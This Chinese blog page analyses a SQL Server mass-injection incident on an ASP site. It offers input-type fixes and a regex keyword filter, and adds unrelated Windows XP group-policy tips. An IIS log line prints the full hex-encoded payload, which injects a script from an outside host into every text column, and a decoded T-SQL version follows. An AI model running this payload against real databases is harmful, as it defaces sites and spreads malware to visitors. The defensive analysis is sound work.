Sql Server数据库被挂马 – 原理及解决方案|四海天涯李墨龙的个人网站
Sql Server数据库被挂马 – 原理及解决方案|四海天涯李墨龙的个人网站

Sql Server数据库被挂马 – 原理及解决方案|四海天涯李墨龙的个人网站

第一部分

先说解决方法:

原始代码(注入点)

<%

Dim ID:ID = R(“ID”,0)   ‘参数为0为接受字符型‘增加关注人次
Sql = “Update [Product_PriceScan] Set [Hits]=[Hits]+1 Where [ID]=”&ID
Call Db(Sql,0)

%>

更改后代码

<%

Dim ID:ID = R(“ID”,1)  ‘参数为1为接受数值型,如果传递过来的为字符,则返回空

If ID=”” Then:we “Rubbish!”

‘增加关注人次
Sql = “Update [Product_PriceScan] Set [Hits]=[Hits]+1 Where [ID]=”&ID
Call Db(Sql,0)

%> 

 

第二部分

案例分析

前段时间,公司一个主要的网站数据库中个别表的数据经常被修改并挂马,由于网站是以前别人做的,代码有点乱,所以只看了与这几个表相关的文件代码。原因可能是接收参数的时候没有过滤危险字符,于是就加上了接受参数的格式化函数,数据库连接文件中也把接受参数时出现的“;”替换成“;”了。但是过了一天,又被挂马,分号替换没有起到作用。

于是搜索了一下,发现从3月份开始很多数据库SQL注入挂马的例子,看来这段时间这种挂马手段很流行,并且只是针对Asp+Sql Server的网站,只有你网站代码存在SQL注入的漏洞,就可能会被挂马,而且只针对文本型的字段char/text类似的字段,修改之后的数据后面基本上都是js,1.js,b.js等,而且里面的网址经常改变。

无奈,只能先找防止SQL注入的方法,在网上搜索到以下代码,把该代码加到数据库连接文件中:

以下为引用的内容:
<%
Response.Buffer = True
Const EnableStopInjection = True
If EnableStopInjection = True Then
    If Request.QueryString <> “” Then Call StopInjection(Request.QueryString)
    If Request.Cookies <> “” Then Call StopInjection(Request.Cookies)
    If Request.Form <> “” Then Call StopInjection(Request.Form)
End If
Sub StopInjection(Values)
Dim regEx
Set regEx = New RegExp
    regEx.IgnoreCase = True
    regEx.Global = True
    regEx.Pattern = “‘|;|#|([sb+()]+(select|update|insert|delete|declare|@|exec|dbcc|alter|drop|create|backup|if|else|end|and|or|add|set|open|close|use|begin|retun|as|go|exists)[sb+]*)”
    Dim sItem, sValue
    For Each sItem In Values
        sValue = Values(sItem)
        If regEx.Test(sValue) Then
            Response.Write “检测到SQL注入危险, 请确认你提交的信息。”
            Response.End
        End If
    Next
    Set regEx = Nothing
End Sub
%>
注意:regEx.Pattern中的值根据你的需要设置,如设置不当,则一般提交的信息也会提示有SQL注入。加上这段代码之后就再也没有出现被注入挂马的现象。前几天,从空间商那要IIS日志,查看日志才发现被SQL注入的具体网址与方法,如下:

以下为引用的内容:
2008-06-23 16:01:31 GET x.asp id=90;DECLARE%20@S%20VARCHAR(4000);SET%20@S=CAST(0x4445434C415245204054205641524348415228323535292C404320564152434841522832353529204445434C415245205461626C655F437572736F7220435552534F5220464F522053454C45435420612E6E616D652C622E6E616D652046524F4D207379736F626A6563747320612C737973636F6C756D6E73206220574845524520612E69643D622E696420414E4420612E78747970653D27752720414E442028622E78747970653D3939204F5220622E78747970653D3335204F5220622E78747970653D323331204F5220622E78747970653D31363729204F50454E205461626C655F437572736F72204645544348204E4558542046524F4D205461626C655F437572736F7220494E544F2040542C4043205748494C4528404046455443485F5354415455533D302920424547494E20455845432827555044415445205B272B40542B275D20534554205B272B40432B275D3D525452494D28434F4E5645525428564152434841522834303030292C5B272B40432B275D29292B27273C736372697074207372633D687474703A2F2F7777772E616477626E722E636F6D2F622E6A733E3C2F7363726970743E27272729204645544348204E4558542046524F4D205461626C655F437572736F7220494E544F2040542C404320454E4420434C4F5345205461626C655F437572736F72204445414C4C4F43415445205461626C655F437572736F7220%20AS%20VARCHAR(4000));EXEC(@S);– – 201.8.166.17 Mozilla/4.0+(compatible;+MSIE+7.0;+Windows+NT+5.1;+.NET+CLR+2.0.50727) – www.xxx.com 200 0 271 1432 406
  中间那段代码解密之后就是:

以下为引用的内容:
DECLARE @T varchar(255),
@C varchar(255)
DECLARE Table_Cursor CURSOR FOR
Select
a.name,b.name
from sysobjects a,
syscolumns b
where a.id=b.id and
a.xtype=’u’ and
(b.xtype=99 or b.xtype=35 or b.xtype=231 or b.xtype=167)
OPEN Table_Cursor
FETCH NEXT FROM Table_Cursor INTO @T,@C
WHILE(@@FETCH_STATUS=0)
BEGIN
exec(’update [’+@T+’] set [’+@C+’]=
rtrim(convert(varchar,[’+@C+’]))+
”挂马内容”’)
FETCH NEXT FROM Table_Cursor INTO @T,@C
END
CLOSE Table_Cursor
DEALLOCATE Table_Cursor
并且,这个SQL注入隔几分钟一次,而且不停地更换IP,根本就无法查到它的真实来源,可见这种人多么卑鄙。

如果网站IIS日志比较大,则可以考虑chxwei前几天写的“IIS网站日志导入分析工具”帮你查询分析。

最后总结一下,如果数据库数据库被修改并挂马:

1、先看IIS日志,被注入的页面是哪些,然后修改那些页面的代码,防止SQL注入。

2、如果没有IIS日志,也找不到被利用的页面,那就使用上面说的在数据库连接文件中加入那些代码。

出现SQL注入,肯定是网站代码存在漏洞,所以代码规范化才是重点

 

黑客入侵Windows XP常用方法搜集

本文介绍黑客入侵Windows XP的几个常用方法,提醒用户小心防备。
  第一招、屏幕保护

  在Windows中启用了屏幕保护之后,只要我们离开计算机(或者不操作计算机)的时间达到预设的时间,系统就会自动启动屏幕保护程序,而当用户移动鼠标或敲击键盘想返回正常工作状态时,系统就会打开一个密码确认框,只有输入正确的密码之后才能返回系统,不知道密码的用户将无法进入工作状态,从而保护了数据的安全。

  提示:部分设计不完善的屏幕保护程序没有屏蔽系统的“Ctrl+Alt+Del”的组合键,因此需要设置完成之后测试一下程序是否存在这个重大Bug。

  不过,屏幕保护最快只能在用户离开1分钟之后自动启动,难道我们必须坐在计算机旁等待N分钟看到屏幕保护激活之后才能再离开吗?其实我们只要打开Windows安装目录里面的system子目录,然后找到相应的屏幕保护程序(扩展名是SCR),按住鼠标右键将它们拖曳到桌面上,选择弹出菜单中的“在当前位置创建快捷方式”命令,在桌面上为这些屏幕保护程序建立一个快捷方式。

  此后,我们在离开计算机时双击这个快捷方式即可快速启动屏幕保护。

  第二招、巧妙隐藏硬盘

  在“按Web页”查看方式下,进入Windows目录时都会弹出一句警告信息,告诉你这是系统文件夹如果“修改该文件夹的内容可能导致程序运行不正常,要查看该文件夹的内容,请单击显示文件”,这时单击“显示文件”就可以进入该目录了。

  原因是在Windows根目录下有desktop.ini和folder.htt两个文件作祟。将这两个文件拷贝到某个驱动器的根目录下(由于这两个文件是隐藏文件,之前必须在文件夹选项中单击“查看”标签,选择“显示所有文件”,这样就可以看见这两个文件了)。再按“F5”键刷新一下,看看发生了什么,是不是和进入Windows目录时一样。

  接下来我们用“记事本”打开folder.htt,这是用HTML语言编写的一个文件,发挥你的想像力尽情地修改吧。

  如果你不懂HTML语言也没关系,先找到“显示文件”将其删除,找到“修改该文件夹的内可能导致程序运行不正常,要查看该文件夹的内容,请单击显示文件”,将其改为自己喜欢的文字,例如“安全重地,闲杂人等请速离开”。

  将“要查看该文件夹的内容,请单击”改为“否则,后果自负!”,接着向下拖动滑块到倒数第9行,找到“(file://%TEMPLATEDIR%wvlogo.gif)”这是显示警告信息时窗口右下角齿轮图片的路径,将其改为自己图片的路径,例如用“d:tupiantupian1.jpg”替换“//”后面的内容,记住这里必须将图片的后缀名打出,否则将显示不出图片。

  当然,你还可以用像Dreamweaver、FrontPage这样的网页工具做出更好的效果,然后只要将原文件拷贝到下面这段文字的后面,覆盖掉原文件中“~”之间的内容就可以了。

  *ThisfilewasautomaticallygeneratedbyMicrosoftInternetEXPlorer5.0

  *usingthefile%THISDIRPATH%folder.htt.

  保存并退出,按“F5”键刷新一下,是不是很有个性?接下来要作的就是用“超级兔子”将你所要的驱动器隐藏起来,不用重新启动就可以欣赏自己的作品了。最后告诉大家一招更绝的,就是干脆将folder.htt原文件中“~”之间的内容全部删除,这样就会给打开你的驱动器的人造成一种这是一个空驱动器的假象,使其中的文件更安全

第三招、禁用“开始”菜单命令

  在Windows2000/XP中都集成了组策略的功能,通过组策略可以设置各种软件、计算机和用户策略在某种方面增强系统的安全性。运行“开始→运行”命令,在“运行”对话框的“打开”栏中输入“gpedit.msc”,然后单击“确定”按钮即可启动WindowsXP组策略编辑器。

  在“本地计算机策略”中,逐级展开“用户配置→管理模板→任务栏和开始菜单”分支,在右侧窗口中提供了“任务栏”和“开始菜单”的有关策略。

  在禁用“开始”菜单命令的时候,在右侧窗口中,提供了删除“开始”菜单中的公用程序组、“我的文档”图标、“文档”菜单、“网上邻居”图标等策略。清理“开始”菜单的时候只要将不需要的菜单项所对应的策略启用即可,比如以删除“我的文档”图标为例,具体操作步骤为:

  1)在策略列表窗口中用鼠标双击“从开始菜单中删除我的文档图标”选项。

  2)在弹出窗口的“设置”标签中,选择“已启用”单选按钮,然后单击“确定”即可。

  第四招、桌面相关选项的禁用

  WindowsXP的桌面就像你的办公桌一样,有时需要进行整理和清洁。有了组策略编辑器之后,这项工作将变得易如反掌,只要在“本地计算机策略”中展开“用户配置→管理模板→桌面”分支,即可在右侧窗口中显示相应的策略选项。

  1)隐藏桌面的系统图标

  倘若隐藏桌面上的系统图标,传统的方法是通过采用修改注册表的方式来实现,这势必造成一定的风险性,采用组策略编辑器,即可方便快捷地达到此目的。

  若要隐藏桌面上的“网上邻居”和“InternetEXPlorer”图标,只要在右侧窗口中将“隐藏桌面上网上邻居图标”和“隐藏桌面上的InternetEXPlorer图标”两个策略选项启用即可。如果隐藏桌面上的所有图标,只要将“隐藏和禁用桌面上的所有项目”启用即可。

  当启用了“删除桌面上的我的文档图标”和“删除桌面上的我的电脑图标”两个选项以后,“我的电脑”和“我的文档”图标将从你的电脑桌面上消失了。如果在桌面上你不再喜欢“回收站”这个图标,那么也可以把它给删除,具体方法是将“从桌面删除回收站”策略项启用。

  2)禁止对桌面的某些更改

  如果你不希望别人随意改变计算机桌面的设置,请在右侧窗口中将“退出时不保存设置”这个策略选项启用。当你启用这个了设置以后,其他用户可以对桌面做某些更改,但有些更改,诸如图标和打开窗口的位置、任务栏的位置及大小在用户注销后都无法保存

第五招、禁止访问“控制面板”

  如果你不希望其他用户访问计算机的控制面板,你只要运行组策略编辑器,并在左侧窗口中展开“本地计算机策略→用户配置→管理模板→控制面板”分支,然后将右侧窗口的“禁止访问控制面板”策略启用即可。

  此项设置可以防止控制面板程序文件的启动,其结果是他人将无法启动控制面板或运行任何控制面板项目。另外,这个设置将从“开始”菜单中删除控制面板,同时这个设置还从Windows资源管理器中删除控制面板文件夹。

  提示:如果你想从上下文菜单的属性项目中选择一个“控制面板”项目,会出现一个消息,说明该设置防止这个操作。

  第六招、设置用户权限

  当多人共用一台计算机时,在WindowsXP中设置用户权限,可以按照以下步骤进行:

  1)运行组策略编辑器程序。

  2)在编辑器窗口的左侧窗口中逐级展开“计算机配置→Windows设置→安全设置→本地策略→用户权限指派”分支。

  3)双击需要改变的用户权限,单击“添加用户或组”按钮,然后双击想指派给权限的用户账号,最后单击“确定”按钮退出

第七招、文件夹设置审核

  WindowsXP可以使用审核跟踪用于访问文件或其他对象的用户账户、登录尝试、系统关闭或重新启动以及类似的事件,而审核文件和NTFS分区下的文件夹可以保证文件和文件夹的安全。为文件和文件夹设置审核的步骤如下:

  1)在组策略窗口中,逐级展开右侧窗口中的“计算机配置→Windows设置→安全设置→本地策略”分支,然后在该分支下选择“审核策略”选项。

  2)在右侧窗口中用鼠标双击“审核对象访问”选项。

  3)用鼠标右键单击想要审核的文件或文件夹,选择弹出菜单的“属性”命令,接着在弹出的窗口中选择“安全”标签。

  4)单击“高级”按钮,然后选择“审核”标签。

  5)根据具体情况选择你的操作:

  倘若对一个新组或用户设置审核,可以单击“添加”按钮,并且在“名称”框中键入新用户名,然后单击“确定”按钮打开“审核项目”对话框。

  要查看或更改原有的组或用户审核,可以选择用户名,然后单击“查看/编辑”按钮。

  要删除原有的组或用户审核,可以选择用户名,然后单击“删除”按钮即可。

  6)如有必要的话,在“审核项目”对话框中的“应用到”列表中选取你希望审核的地方。

  7)如果想禁止目录树中的文件和子文件夹继承这些审核项目,选择“仅对此容器内的对象和/或容器应用这些审核项”复选框。

  注意:必须是管理员组成员或在组策略中被授权有“管理审核和安全日志”权限的用户可以审核文件或文件夹。在WindowsXP审核文件、文件夹之前,你必须启用组策略中“审核策略”的“审核对象访问”。否则,当你设置完文件、文件夹审核时会返回一个错误消息,并且文件、文件夹都没有被审核

发表评论